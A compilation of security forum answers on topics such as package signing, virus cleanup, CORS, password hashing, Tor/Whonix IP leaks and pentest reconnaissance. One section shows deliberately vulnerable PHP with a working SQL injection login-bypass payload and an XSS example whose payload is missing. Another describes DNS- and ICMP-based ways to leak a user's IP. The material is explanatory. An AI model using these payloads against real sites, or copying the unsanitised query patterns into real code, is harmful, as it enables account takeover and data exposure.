If you are still wary of virus, you may apply some transcoding on files. For instance, a JPEG picture can be converted to PNG, then back to JPEG. Even if the original file includes some sort of virus, the conversion from JPEG to PNG will remove it, if the converter application is not itself vulnerable (i.e., do that from the Linux system with which you copied and scanned the files). Transcoding can incur some information loss; Word files would be problematic.


Ensuring File is Write-Only For Specific Program

There are actually two problems to solve for:

that the file has not been tampered with since creation by a trusted party
that a trusted party actually created the file in the first place

This is exactly the scenario that open source software distributors- RedHat, Ubuntu, MySQL, etc, etc- face in ensuring the integrity of the binary packages they release.

Their software, running on a consumer's computer, has to ensure both that a package the user has asked to install has not been tampered with by an attacker, and that it originated with a trusted source.

Hashing will help with the former, but public key cryptography is needed for the latter. The distributor- you and/or your delegates- publish their public key, and then cryptographically sign the distributed software using their private key.

The way this is usually done is by creating a cryptographic hash of the file contents- which can just be of the contents, and does not have to include a salt or anything- and then sign the hash, and distribute the signature, the hash and the file, along with the public key.

Then anyone can use the public key and the signature to verify that the hash originated with the holder of the private key, and then that the hash matches the file.

Take a look at "package signing" documentation from RedHat or Ubuntu using PGP keys for more information.


Best practices for handling computer viruses

Nuke it from orbit.  The only way to be sure it is gone once it is compromised is to blow it away entirely.  Restore checkpoints only help for configuration issues, a virus can alter the previous configurations or install itself in such a way it survives a restore.  If it's just adware, then removal may be sufficient, but viruses can be very sneaky.

It might be possible to get rid of it completely, but it will take more time (days) than nuking and rebuilding in most cases, particularly if regular backups are kept.

Edit: As Oleg was kind enough to point out.  If your re-imaging from a hidden partition on the computer, it is possible that the image could have also been infected.  It's also possible that the BIOS (or other firmware in hardware) could have been infected in very rare cases, in which case you are looking at a major pita to get rid of it.  Luckily 99.99%(my approximation) of the time, it isn't hardware resident yet.


What risks are associated with 'parked' websites?

Parked domains are not dangerous per see, but blocking them may be part of more general safety measures:

First, it is obvious that it is not the place you intended to go, so it may be safer to keep you from reaching an unexpected place.
Then, these parked domains try to take advantage of a typo in the domain name or hijack a previously existing but not renewed domain to place ads on it and generate benefits with little to no investment. This may not be the type of activity you may want to encourage on the Internet.
At last, the same single parked domain page is potentially shown to hundreds of thousands users all domains included. This means that such pages represent a prime target for attackers who may attempt to exploit them in various ways (like distributing malware or supporting spam campaigns).

It may be good to know  that while the most straightforward mitigation is indeed to simply block the access to these domains, it is not the only one as it is also possible to forge an alternative DNS answer to redirect the user to what is considered the most likely expected location (this method is core of the OpenDNS company activity for instance).


Linux equivalent to Windows WriteProtect key in the registry for a software based write blocker?

You can ro (read-only) mount removable drives.

As to how you can set automount options is answered on another question.


Is it safe to set "Access Control Allow Origin" header's value to the "Origin" header's value which is implicitly set by the browser?

If the server simply mirrors the Origin provided by the client into the Access-Control-Allow-Origin header of the response without further checks then it essentially allows any third party to access the resource cross-origin, i.e. it would be a security issue if cross-origin access should be restricted.

But, if this mirroring is only done after additional checks, for example only if the client is authorized, then this is less of a problem. Although there might also be cases where it can be a problem also in this case.

In summary: if this is a problem or not depends on information which are not provided in the question.


Fake email messages via List-Unsubscribe header

Most implementers of unsubscribe buttons do not honour the "subject" and "body" parameters, for exactly the reason you give. Those that do, only do it in response to validated emails, and where the domain of the unsubscribe email address matches the domain of the validated sender email address.

Essentially, you need to implement a policy for when the List-Unsubscribe header should be trusted.

Only if:

You have validated the sender domain via SPF or DomainKeys, or matching round-trip DNS or another method.

AND

The List-Unsubscribe domain matches the sender domain.

Even then you should only trust the Subject and body if you have whitelisted the sender domain.

Better - if the list is listname@example.com:

List-Unsubscribe: <mailto:listname-unsubscribe@example.com>

Best - each recipient should have a unique subscription ID:

List-Unsubscribe: <mailto:listname-unsubscribe-927349872392343@example.com>

Or some VERP thing:

https://en.wikipedia.org/wiki/Variable_envelope_return_path


Hacks that work just by changing the URL

One legit and one malicious example
Some examples require URL encoding to work (usually done automatically by browser)

SQL Injection
code:
$username = $_POST['username'];
$pw = $_GET['password'];
mysql_query("SELECT * FROM userTable WHERE username = $username AND password = $pw");

exploit (logs in as administrator without knowing password):
example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGet
example.com/?username=Administrator&password=password' or 1=1--

Cross Site Scripting (XSS)
code:
$nickname= $_GET['nickname'];
echo "
Your nickname is $nickname
\n";

exploit (registrers visiting user as a zombie in BeEF):
example.com/?nickname=Karrax
example.com/?nickname=


Is SHA-256 + Salt still safe for password storage?

For password storage, salted SHA256 hashes are not recommended. This is because the general purpose SHA256 is designed to be fast. Fast is exactly what you do not want for a password hashing algorithm, because it makes brute force and dictionary attacks far more efficient.

Password storage hashes are designed to require a certain workload and in some instances, a minimum memory requirement. Good password storage scheme are designed to be hard to serialize and/or optimize.

The recommended password storage scheme in 2017 is BCrypt hash, with PBKDF2 as alternative, but slightly less regarded, option.

For a more complete answer, please read the sec.se 'standard answer' on password hashing by Thomas Pornin.


TL;DR:  generally no, it is not possible to figure out your IP assuming the Whonix VM is congigured correctly as you describe, and ALL traffic tunnels through Tor.

Long story, there are several ways for Flash applets to find your real IP. As stated above, none of this applies to Whonix which protects against all of them. Those are listed here for the education purpose, and to explain why other Tor configurations (such as Tor Browser Bundle or Tails) still could be vulnerable to those.

The most obvious way is to request a specific URL from Flash itself, and see the IP in the server logs. If the Flash traffic is routed through Tor, this will return the IP of Tor exit node. Tails protects against this, but Tor Browser Bundle, as far as I know, does not (and this is why Flash is disabled in TBB).
It is possible (in Adobe Air 2.5) to enumerate local interfaces and find out the IP there. In your configuration this would probably be a nondescript IP such as 10.x.x.x which will give out no information. Same as above.
It is possible to use a browser exploit, and then run some code in your VM. This code will not be restricted by Flash policies, and could leak your IP depending on how tight the configuration is.

For example, Tails enforces routing of traffic through Tor via the firewall rules. If an exploit gains root privileges, it can flush the firewall rules table, effectively disabling this rules enforcement. Then every request (such as wget to whatismyip.com) would return the IP address.

However if the rules are enforced at the workstation itself (i.e. the VM can only talk to workstation no matter what the VM firewall/NAT configuration is), this will not work. Still, there are other possible ways. For example, if VM only firewalls TCP traffic, but passes ICMP traffic (Tor cannot really tunnel ICMP or UDP, only TCP), it is possible to send the information via ICMP. Also if DNS requests are not filtered by Whonix, it is possible to set up your own DNS server for a domain, perform DNS lookup for domains such as 192.168.0.1.yourdomain.com and log the requests on your DNS server. However with proper filtering - which I believe Whoenix is doing - this should not be possible.


This is a very opinion-based question, but I will try my best to answer in a manner that applies as generally as possible.

Anything you may think is valuable
Information Gathering is the first step in pentesting, but it doesn't mean that you only gather information once and then this is all you can work with. You always gather information about the system as you test it.
Sometimes, this is "formal" information, such as the technologies used (ASP.NET, PHP, Node.JS, etc.) or the versions thereof. Sometimes this is much more informal information, such as "These developers really didn't care about security at all".
This informal information is just as valuable, because it can clue you in as to what kinds of vulnerabilities the application may be vulnerable to.
Why do I collect information at all?
Because you need to know what kind of vulnerabilities are possible. If you test a web-application and you see that you can input some data, and it will be printed somewhere later, then you can immediately tell that you should test for Cross-Site Scripting.
If you know that some site you test uses the Wordpress Plugin "Live Chat Unlimited" in version 2.8.3, then it might give you some clues about what vulnerabilities it might have.
How do I collect information efficiently?
I won't make a list of tools you can use, because the tools of the trade change as new technologies emerge, and old technologies become obsolete. In general, it's a good idea to ask other more experienced pentesters questions like which tools they use for information gathering, and you will hear some tools over and over.
In general, I wouldn't get too hung up with tools at all. If you are just starting out, look at some vulnerabilities you have discovered in your tests, and what tipped you off that they might be there. Experience is the best teacher, after all.